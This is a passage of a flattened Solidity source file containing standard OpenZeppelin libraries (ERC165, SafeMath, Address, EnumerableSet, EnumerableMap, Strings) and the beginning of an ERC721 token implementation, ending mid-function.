// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
